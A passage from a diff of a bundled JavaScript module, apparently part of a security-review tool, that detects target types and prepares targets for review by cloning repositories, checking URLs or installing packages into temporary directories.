return resolve(opts.cwd ?? process.cwd(), expanded);
|
|
966
|
+
}
|
|
967
|
+
function isExplicitLocalTargetPath(input) {
|
|
968
|
+
return input === "." || input === ".." || input === "~" || input.startsWith("./") || input.startsWith("../") || input.startsWith("~/") || isAbsolute(input);
|
|
969
|
+
}
|
|
970
|
+
function isExistingLocalTargetPath(input, opts = {}) {
|
|
971
|
+
try {
|
|
972
|
+
return statSync2(resolveLocalTargetPath(input, opts)).isDirectory();
|
|
973
|
+
} catch {
|
|
974
|
+
return false;
|
|
975
|
+
}
|
|
976
|
+
}
|
|
977
|
+
|
|
978
|
+
// packages/core/dist/prepare.js
|
|
979
|
+
function detectTargetType(target) {
|
|
980
|
+
if (target.startsWith("git@") || target.startsWith("git://") || target.endsWith(".git") || target.startsWith("https://github.com/")) {
|
|
981
|
+
return "source-code";
|
|
982
|
+
}
|
|
983
|
+
if (target.startsWith("http://") || target.startsWith("https://")) {
|
|
984
|
+
return "url";
|
|
985
|
+
}
|
|
986
|
+
if (isExplicitLocalTargetPath(target) || isExistingLocalTargetPath(target)) {
|
|
987
|
+
return "source-code";
|
|
988
|
+
}
|
|
989
|
+
if (/^(@[a-z0-9-]+\/)?[a-z0-9][a-z0-9._-]*(@.*)?$/.test(target)) {
|
|
990
|
+
return "npm-package";
|
|
991
|
+
}
|
|
992
|
+
return "source-code";
|
|
993
|
+
}
|
|
994
|
+
function installPackage(ecosystem, packageName, requestedVersion, emit) {
|
|
995
|
+
return installPackageForEcosystem(ecosystem, packageName, requestedVersion, emit);
|
|
996
|
+
}
|
|
997
|
+
function resolveRepo(repo, emit) {
|
|
998
|
+
const isUrl = repo.startsWith("https://") || repo.startsWith("http://") || repo.startsWith("git@") || repo.startsWith("git://");
|
|
999
|
+
if (!isUrl) {
|
|
1000
|
+
const absPath = resolveLocalTargetPath(repo);
|
|
1001
|
+
if (!existsSync2(absPath)) {
|
|
1002
|
+
throw new Error(`Repository path not found: ${absPath}`);
|
|
1003
|
+
}
|
|
1004
|
+
return { repoPath: absPath, cloned: false };
|
|
1005
|
+
}
|
|
1006
|
+
const tempDir = join3(tmpdir2(), `0sec-review-${randomUUID2().slice(0, 8)}`);
|
|
1007
|
+
mkdirSync3(tempDir, { recursive: true });
|
|
1008
|
+
emit({
|
|
1009
|
+
type: "stage:start",
|
|
1010
|
+
stage: "discovery",
|
|
1011
|
+
message: `Cloning ${repo}...`
|
|
1012
|
+
});
|
|
1013
|
+
try {
|
|
1014
|
+
execFileSync2("git", ["clone", "--depth", "1", repo, `${tempDir}/repo`], {
|
|
1015
|
+
timeout: 12e4,
|
|
1016
|
+
stdio: "pipe"
|
|
1017
|
+
});
|
|
1018
|
+
} catch (err) {
|
|
1019
|
+
rmSync2(tempDir, { recursive: true, force: true });
|
|
1020
|
+
const msg = err instanceof Error ? err.message : String(err);
|
|
1021
|
+
throw new Error(`Failed to clone ${repo}: ${msg}`);
|
|
1022
|
+
}
|
|
1023
|
+
const repoPath = join3(tempDir, "repo");
|
|
1024
|
+
emit({
|
|
1025
|
+
type: "stage:end",
|
|
1026
|
+
stage: "discovery",
|
|
1027
|
+
message: `Cloned ${basename(repo.replace(/\.git$/, ""))}`
|
|
1028
|
+
});
|
|
1029
|
+
return { repoPath, cloned: true, tempDir };
|
|
1030
|
+
}
|
|
1031
|
+
async function validateUrl(url) {
|
|
1032
|
+
const controller = new AbortController();
|
|
1033
|
+
const timer = setTimeout(() => controller.abort(), 1e4);
|
|
1034
|
+
try {
|
|
1035
|
+
const res = await fetch(url, {
|
|
1036
|
+
method: "HEAD",
|
|
1037
|
+
signal: controller.signal,
|
|
1038
|
+
redirect: "follow"
|
|
1039
|
+
});
|
|
1040
|
+
if (!res.ok) {
|
|
1041
|
+
throw new Error(`URL returned HTTP ${res.status}: ${url}`);
|
|
1042
|
+
}
|
|
1043
|
+
} catch (err) {
|
|
1044
|
+
if (err instanceof Error && err.name === "AbortError") {
|
|
1045
|
+
throw new Error(`URL unreachable (timeout): ${url}`);
|
|
1046
|
+
}
|
|
1047
|
+
throw err;
|
|
1048
|
+
} finally {
|
|
1049
|
+
clearTimeout(timer);
|
|
1050
|
+
}
|
|
1051
|
+
}
|
|
1052
|
+
async function prepare(target, type, opts, emit) {
|
|
1053
|
+
switch (type) {
|
|
1054
|
+
case "npm-package": {
|
|
1055
|
+
let packageName = target;
|
|
1056
|
+
let version = opts.packageVersion;
|
|
1057
|
+
const atIdx = target.startsWith("@") ? target.indexOf("@", 1) : target.indexOf("@");
|
|
1058
|
+
if (atIdx > 0) {
|
|
1059
|
+
packageName = target.slice(0, atIdx);
|
|
1060
|
+
version = version ?? target.slice(atIdx + 1);
|
|
1061
|
+
}
|
|
1062
|
+
const pkg = installPackage("npm", packageName, version, emit);
|
|
1063
|
+
return {
|
|
1064
|
+
targetType: type,
|
|
1065
|
+
resolvedTarget: pkg.path,
|
|
1066
|
+
packageInfo: pkg,
|
|
1067
|
+
cleanup: () => {
|
|
1068
|
+
try {
|
|
1069
|
+
rmSync2(pkg.tempDir, { recursive: true, force: true });
|
|
1070
|
+
} catch {
|
|
1071
|
+
}
|
|
1072
|
+
}
|
|
1073
|
+
};
|
|
1074
|
+
}
|
|
1075
|
+
case "pypi-package": {
|
|
1076
|
+
const pkg = installPackage("pypi", target, opts.packageVersion, emit);
|
|
1077
|
+
return {
|
|
1078
|
+
targetType: type,
|
|
1079
|
+
resolvedTarget: pkg.path,
|
|
1080
|
+
packageInfo: pkg,
|
|
1081
|
+
cleanup: () => {
|
|
1082
|
+
try {
|
|
1083
|
+
rmSync2(pkg.tempDir, { recursive: true, force: true });
|
|
1084
|
+
} catch {
|
|
1085
|
+
}
|
|
1086
|
+
}
|
|
1087
|
+
};
|
|
1088
|
+
}
|
|
1089
|
+
case "cargo-package": {
|
|
1090
|
+
const pkg = installPackage("cargo", target, opts.packageVersion, emit);
|
|
1091
|
+
return {
|
|
1092
|
+
targetType: type,
|
|
1093
|
+
resolvedTarget: pkg.path,
|
|
1094
|
+
packageInfo: pkg,
|
|
1095
|
+
cleanup: () => {
|
|
1096
|
+
try {
|
|
1097
|
+
rmSync2(pkg.tempDir, { recursive: true, force: true });
|
|
1098
|
+
} catch {
|
|
1099
|
+
}
|
|
1100
|
+
}
|
|
1101
|
+
};
|
|
1102
|
+
}
|
|
1103
|
+
case "oci-image": {
|
|
1104
|
+
const pkg = installPackage("oci", target, opts.packageVersion, emit);
|
|
1105
|
+
return {
|
|
1106
|
+
targetType: type,
|
|
1107
|
+
resolvedTarget: pkg.path,
|
|
1108
|
+
packageInfo: pkg,
|
|
1109
|
+
cleanup: () => {
|
|
1110
|
+
try {
|
|
1111
|
+
rmSync2(pkg.tempDir, { recursive: true, force: true });
|
|
1112
|
+
} catch {
|
|
1113
|
+
}
|
|
1114
|
+
}
|
|
1115
|
+
};
|
|
1116
|
+
}
|
|
1117
|
+
case "source-code": {
|
|
1118
|
+
const { repoPath, cloned, tempDir } = resolveRepo(target, emit);
|
|
1119
|
+
return {
|
|
1120
|
+
targetType: type,
|
|
1121
|
+
resolvedTarget: repoPath,
|
|
1122
|
+
repoPath,
|
|
1123
|
+
cleanup: () => {
|
|
1124
|
+
if (cloned && tempDir) {
|
|
1125
|
+
try {
|
|
1126
|
+
rmSync2(tempDir, { recursive: true, force: true });
|
|
1127
|
+
} catch {
|
|
1128
|
+
}
|
|
1129
|
+
}
|
|
1130
|
+
}
|
|
1131
|
+
};
|
|
1132
|
+
}
|
|
1133
|
+
case "url":
|
|
1134
|
+
case "web-app": {
|
|
1135
|
+
await validateUrl(target);
|
|
1136
|
+
emit({
|
|
1137
|
+
type: "stage:end",
|
|
1138
|
+
stage: "discovery",
|
|
1139
|
+
message: `URL reachable: ${target}`
|
|
1140
|
+
});
|
|
1141
|
+
return {
|
|
1142
|
+
targetType: type,
|
|
1143
|
+
resolvedTarget: target,
|
|
1144
|
+
cleanup: () => {
|
|
1145
|
+
}
|
|
1146
|
+
};
|
|
1147
|
+
}
|
|
1148
|
+
default: {
|
|
1149
|
+
const _exhaustive = type;
|
|
1150
|
+
throw new Error(`Unknown target type: ${_exhaustive}`);
|
|
1151
|
+
}
|
|
1152
|
+
}
|
|
1153
|
+
}
|
|
1154
|
+
|
|
1155
|
+
export {
|
|
1156
|
+
normalizeSeverity,
|
|
1157
|
+
installPackageForEcosystem,
|
|
1158
|
+
runDependencyAuditForEcosystem,
|
|
1159
|
+
walkInstalledNpmTree,
|
|
1160
|
+
probePublicNpmRegistry,
|
|
1161
|
+
expandHomePath,
|
|
1162
|
+
resolveLocalTargetPath,
|
|
1163
|
+
isExplicitLocalTargetPath,
|
|
1164
|
+
isExistingLocalTargetPath,
|
|
1165
|
+
detectTargetType,
|
|
1166
|
+
prepare
|
|
1167
|
+
};
|